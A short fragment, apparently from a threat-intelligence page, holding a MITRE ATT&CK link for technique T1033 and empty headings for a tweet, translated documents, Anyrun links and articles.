https://attack.mitre.org/techniques/T1033
This can be exported as JSON format Export in JSON

Links

Original tweet:
Translated Documents
Links Anyrun:
Articles